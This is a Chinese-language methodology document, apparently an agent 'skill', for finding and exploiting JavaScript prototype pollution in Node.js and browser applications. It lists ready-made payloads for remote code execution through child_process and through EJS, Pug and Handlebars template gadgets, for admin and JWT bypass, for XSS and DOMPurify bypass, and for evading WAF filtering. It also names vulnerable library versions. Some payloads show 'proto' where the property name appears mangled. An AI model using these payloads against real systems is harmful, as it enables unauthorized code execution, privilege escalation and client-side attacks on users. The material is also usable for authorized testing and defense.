用途
该技能面向 JavaScript 原型链污染(Prototype Pollution)漏洞的识别与利用,核心原理是通过修改 Object.prototype,向所有 JavaScript 对象注入恶意属性。适用于目标为 Node.js 应用、使用 lodash/jQuery/深拷贝函数、接收 JSON 输入的场景,覆盖服务端(RCE、权限绕过)与客户端(XSS、DOM 操控)两类场景。
主要能力
识别原型链污染点
常见存在漏洞的代码模式包括:递归合并/深拷贝(merge(target, userInput))、路径赋值(obj[a][b] = value,a/b 来自用户)、lodash 的 _.merge / _.defaultsDeep / _.set(旧版本)、jQuery 的 $.extend(true, {}, userInput),以及自定义 deepCopy/assign 函数。
测试 Payload 提供多种注入方式:
- 方式 1:proto 直接注入,如 {"proto": {"polluted": "yes"}}
- 方式 2:constructor.prototype,如 {"constructor": {"prototype": {"polluted": "yes"}}}
- 方式 3:嵌套路径注入(URL 参数场景),如 ?proto[polluted]=yes 或 ?constructor[prototype][polluted]=yes
- 方式 4:JSON 数组绕过,如 [{"proto": {"polluted": "yes"}}]
检测是否成功:服务端可通过 console.log({}.polluted) 验证,输出 "yes" 表示污染成功;黑盒验证则观察应用行为变化,例如污染 admin=true 后获取管理员权限。
服务端利用(RCE 优先)
决策树按目标环境区分:Node.js + child_process 可触发时,污染 shell/env/NODE_OPTIONS 实现 RCE;Node.js + 模板引擎(EJS/Pug/Handlebars)时,污染模板编译选项实现 RCE;Node.js + 认证逻辑时,污染 isAdmin/role 实现权限绕过;无直接 RCE 路径时,污染配置项(DEBUG/verbose)实现信息泄露。
RCE via child_process:污染 child_process.spawn 的默认选项,如 {"proto": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/environ"}},或通过 env 注入 {"proto": {"env": {"NODE_OPTIONS": "--require=./malicious.js"}, "shell": "/bin/bash"}}。
RCE via EJS:EJS 编译时会检查 opts.outputFunctionName,若被污染,注入代码会在模板编译时执行,如 {"proto": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"}};EJS 3.x 另一向量为 {"proto": {"client": true, "escapeFunction": "1;return process.mainModule.require('child_process').execSync('id');"}}。
RCE via Pug/Jade:{"proto": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}。
RCE via Handlebars 4.x:{"proto": {"main": "\n return process.mainModule.require('child_process').execSync('id').toString();\n"}}。
权限绕过:应用检查 user.isAdmin 或 user.role 时,若未显式设置会继承 prototype 的值,如 {"proto": {"isAdmin": true}}、{"proto": {"role": "admin"}}、{"proto": {"verified": true}};JWT 验证绕过(某些实现)为 {"proto": {"algorithm": "none"}}。
客户端利用
XSS via DOM 属性污染:污染 innerHTML 相关属性,如 {"proto": {"innerHTML": "<img src=x onerror=alert(1)>"}};通过 URL 参数污染(某些 SPA 框架解析 query string),如 ?proto[src]=data:,alert(1) 或 ?proto[onload]=alert(1)。
绕过 DOMPurify/Sanitizer:某些版本的 DOMPurify 可通过原型链污染绕过,如 {"proto": {"ALLOWED_TAGS": ["img", "script"]}}、{"proto": {"ADD_ATTR": ["onerror", "onload"]}},或禁用清理 {"proto": {"RETURN_DOM": true}}。
jQuery Gadget:jQuery < 3.4.0 的 $.extend 存在原型链污染,配合 HTML 属性注入,如 {"proto": {"class": "xss-class", "onclick": "alert(1)"}}。
常见框架漏洞版本
- lodash merge:< 4.17.12,CVE-2019-10744
- lodash defaultsDeep:< 4.17.12,CVE-2019-10744
- jQuery extend:< 3.4.0,CVE-2019-11358
- minimist:< 1.2.6,CVE-2021-44906
- class-transformer:< 0.3.1
- Hoek (hapi):< 5.0.3,CVE-2018-3728
- Handlebars:< 4.6.0,CVE-2019-19919
- EJS:< 3.1.7,CVE-2022-29078
自动化发现
静态扫描(源代码审计):
grep -rn "merge|assign|extend|deepCopy" --include=".js" . grep -rn "[.][.].=" --include="*.js" . # 动态路径赋值
依赖版本检查:npm audit、npm ls lodash。
动态测试:在所有 JSON 输入点注入 proto payload,观察响应变化或新属性出现。
使用方式
该技能以方法论形式组织,按 Phase 1 至 Phase 5 分阶段推进:识别污染点、服务端利用、客户端利用、对照常见框架漏洞版本、自动化发现。深入参考包括服务端 RCE 利用链(child_process/EJS/Pug/Handlebars)与客户端 Gadgets(jQuery/Mithril/Vue/DOMPurify 绕过)。
适用场景
适用于对 Node.js 应用、使用 lodash/jQuery/深拷贝函数、接收 JSON 输入的目标进行原型链污染漏洞的识别与利用,涵盖服务端 RCE、权限绕过与客户端 XSS、DOM 操控。
限制与注意事项
Node.js 的 --disable-proto=throw 选项会阻止 proto 访问;Object.create(null) 创建的对象无原型,不可污染;ES2022 Object.hasOwn() 不受原型影响;某些 WAF 会过滤 proto,可用 constructor.prototype 绕过。